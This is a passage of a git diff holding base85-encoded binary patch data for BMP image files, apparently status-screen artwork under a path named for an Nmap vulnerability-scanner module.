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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2742da4c381c5dbe14a1f7cab7351947c3403be3 GIT binary patch literal 18462 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 